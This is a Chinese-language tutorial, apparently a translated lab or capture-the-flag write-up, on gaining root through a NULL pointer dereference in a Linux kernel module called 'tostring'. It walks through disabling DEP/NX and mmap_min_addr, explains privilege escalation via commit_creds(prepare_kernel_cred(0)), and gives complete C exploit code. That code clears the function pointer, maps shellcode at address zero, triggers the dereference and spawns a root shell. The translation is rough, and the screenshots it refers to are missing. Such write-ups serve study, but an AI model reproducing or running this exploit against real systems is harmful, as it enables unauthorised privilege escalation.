什么是空指针异常?
如果一个未初始化或零编号(zero-ed out)的指针被取消引用时，将会导致程序计数器/指令指针(PC/IP)指向0，从而导致内核崩溃!
当遇到上述情况，首先需检查是否启用了任何保护程序，如果启用了就将其全部关闭，包括管理员保护模式、数据执行保护模式(DEP / NX)以及mmap_min_addr保护机制。
ring0层与ring3层有所区别(Intel的CPU将特权级别分为4个级别：RING0、RING1、RING2、RING3。Windows只使用其中的两个级别RING0和RING3，RING0只给操作系统用，RING3谁都能用)。由于计算机使用二进制，因此在ring3层操作过程中，我们仅需要关注如何追加一个shell命令，我们需要这个时间来修改权限。庆幸的是，目前仍存在一些内核结构，持有当前的进程权限。我们将尝试利用权限来进行root，并在处理完这些后再追加一个shell命令。
如何提升权限?
在进行提升权限操作前，我们需要知道我们需要做哪些事情：
每个进程信息都存储为一个进程描述符(task_struct)
下列是sched.h文件：
- struct task_struct {
- /* ... */
- /* Process credentials: */
- /* Tracer's credentials at attach: */
- const struct cred __rcu *ptracer_cred;
- /* Objective and real subjective task credentials (COW): */
- const struct cred __rcu *real_cred;
- /* Effective (overridable) subjective task credentials (COW): */
- const struct cred __rcu *cred;
- /* ... */
- }
- 下列是cred.h文件：
- struct cred {
- /* ... */
- kuid_tuid;/* real UID of the task */
- kgid_tgid;/* real GID of the task */
- kuid_tsuid;/* saved UID of the task */
- kgid_tsgid;/* saved GID of the task */
- kuid_teuid;/* effective UID of the task */
- kgid_tegid;/* effective GID of the task */
- /* ... */
- }
下面我们将主要关注有效的用户身份证明(UID)任务。如果我们成功将其值设置为0，则当前任务将具有root权限!
我们应该如何找到他们?
可以利用一些内核符号。
一些功能可用于提升当前的进程权限，它们的地址是静态的，可以根据我们处理的内核重新生成：
- /proc/kallsyms, /proc/ksyms, /dev/ksyms..
上述这些函数在cred.c.中。
- extern int commit_creds(struct cred *);
- /* ... */
- extern struct cred *prepare_kernel_cred(struct task_struct *);
我们可以看到，prepare_kernel_cred()函数的返回值类型为struct cred *，之后再以此作为参数传递给commit_creds()，这样就可以将我们新获得的权限分配给当前的进程!
结论：可以通过“commit_creds(prepare_kernel_cred(0))”命令来提升权限;
了解漏洞并学会触发这些漏洞
在进行内核开发前，我们需要知道如何触发漏洞，还需要知道在什么情况下指针会被取消。
解决内核威胁问题
我们首先需要检查保护程序
如上图所示，所有的保护措施都出于关闭状态。
在“tostring_write()”函数里，我们可以看到这些命令应该始终以10'*'开头。
当这个内核模块被加载时，它会在每次运行时启动结构，每次运行都会启动一次。
如上图所示，我们不难发现这会启动“tostring_create()”。当在“tostring_s struct!”下设置函数指针时，该功能就会响应
这一点非常重要，请谨记于心!因此，这两个指针在每次运行时都被设置一次(或者需要的话)。
现在我们轻易地就能辨认出漏洞的函数，如下所示：
- static ssize_t tostring_write(struct file *f, const char __user *buf,size_t len, loff_t *off)
- {
- char *bufk;
- int i,j;
- printk(KERN_INFO "Tostring: write()\n");
- bufk = kmalloc(len + 1, GFP_DMA);
- if (bufk){
- if (copy_from_user(bufk, buf, len))
- return -EFAULT;
- bufk[len] = '\0';
- i=0;
- while(i <len) {
- for (j=0;(j<10) && (bufk[j]=='*');j++);
- if (j == 10) {
- for (j=i+10;(bufk[j]!='\0') && (bufk[j] != '\n');j++);
- bufk[j]='\0';
- printk("Tostring: Cmd %s\n",bufk+i+10);
- switch(bufk[i+10]) {
- case 'H':
- tostring->tostring_read= tostring_read_hexa;
- break;
- case 'D':
- tostring->tostring_read= tostring_read_dec;
- break;
- case 'S':
- printk("Tostring: Delete stack\n");
- kfree(tostring->tostring_stack);
- tostring->tostring_stack=NULL;
- tostring->tostring_read=NULL;
- tostring->pointer=0;
- tostring->pointer_max=0;
- break;
- case 'N':
- printk("Tostring: Stack create with size %ld\n",local_strtoul(bufk+i+11,NULL,10));
- if (tostring->tostring_stack==NULL) tostring_create(local_strtoul(bufk+i+11,NULL,10));
- if (tostring->tostring_stack==NULL) printk("Tostring: Error, impossible to create stack\n");
- break;
- }
- i=j+1;
- }
- else {
- printk("tostring: insertion %lld\n",*((long long int *) (bufk+i)));
- if (tostring->pointer >= tostring->pointer_max)
- printk(KERN_INFO "Tostring: Stack full\n");
- else
- tostring->tostring_stack[(tostring->pointer)++]= *((long long int *) (bufk+i));
- ii = i+sizeof(long long int);
- }
- }
- kfree(bufk);
- }
- return len;
- }
正如我们所见，在“ten '*'”后会出现一个“S”。这就会使函数指针tostring_read无效，而这一点对我们有力。
但是，在将其设置为null之后，我们需要读取它，以使其被取消引用。因此，我们需要读取该文件，以触发启用“tostring_read()!”命令。
我们开始编写开发程序。我们之前使用Python语言进行编写，现在我们换成C语言。
我们先写一个较为简单的以触发命令和清除函数指针。
- #include <stdio.h>
- #include <string.h>
- #include <stdlib.h>
- #include <sys/mman.h>
- #include <fcntl.h>
- /**/
- #define vulnerable_device "/dev/tostring"
- /**/
- void main(void){
- int fd;
- char payload[15];
- /**/
- memset(payload, '*', 10);
- /**/
- payload[10] = 'S';
- payload[11] = 0;
- /**/
- fd = open(vulnerable_device, O_RDWR);
- if(fd < 0){
- printf("Couldn't open device!");
- }
- /**/
- write(fd, payload, 12);
- }
目前一切都比较顺利，但我们仍需通过读取文件使其取消引用。
- read(fd, 0, 1)
我们做到了，我们将其IP指针设置为0
幸运的是，mmap_min_addr保护处于关闭状态。 我们可以在NULL中分配一个小区域，并放置我们的shellcode来提升权限。
现在就可以从“/proc/kallsyms!”中获得“prepare_kernel_cred”和“commit_creds”地址。
我将使用rasm2做一个shellcode：
以下是shellcode：
在我们的开发程序中取消指针前，我们就可以开始添加shellcode：
- #include <stdio.h>
- #include <string.h>
- #include <stdlib.h>
- #include <sys/mman.h>
- #include <fcntl.h>
- /**/
- #define vulnerable_device "/dev/tostring"
- /**/
- void pop_shell(){
- system("sh");
- }
- /**/
- void main(void){
- int fd;
- char payload[15];
- char shellcode[15] = "\x31\xc0\xe8\xe9\x11\x07\xc1\xe8\x74\x0e\x07\xc1\xc3";
- /**/
- memset(payload, '*', 10);
- /**/
- payload[10] = 'S';
- payload[11] = 0;
- /**/
- fd = open(vulnerable_device, O_RDWR);
- if(fd < 0){
- printf("Couldn't open device!");
- }
- write(fd, payload, 12);
- /**/
- mmap(NULL, sizeof(shellcode), PROT_EXEC |PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS |MAP_FIXED, -1, 0);
- memcpy(NULL, shellcode, sizeof(shellcode));
- /**/
- read(fd, 0, 1);
- /**/
- pop_shell();
- }
在完成后，开始运行
以下是root shell
希望文章能对大家有所启发和帮助!
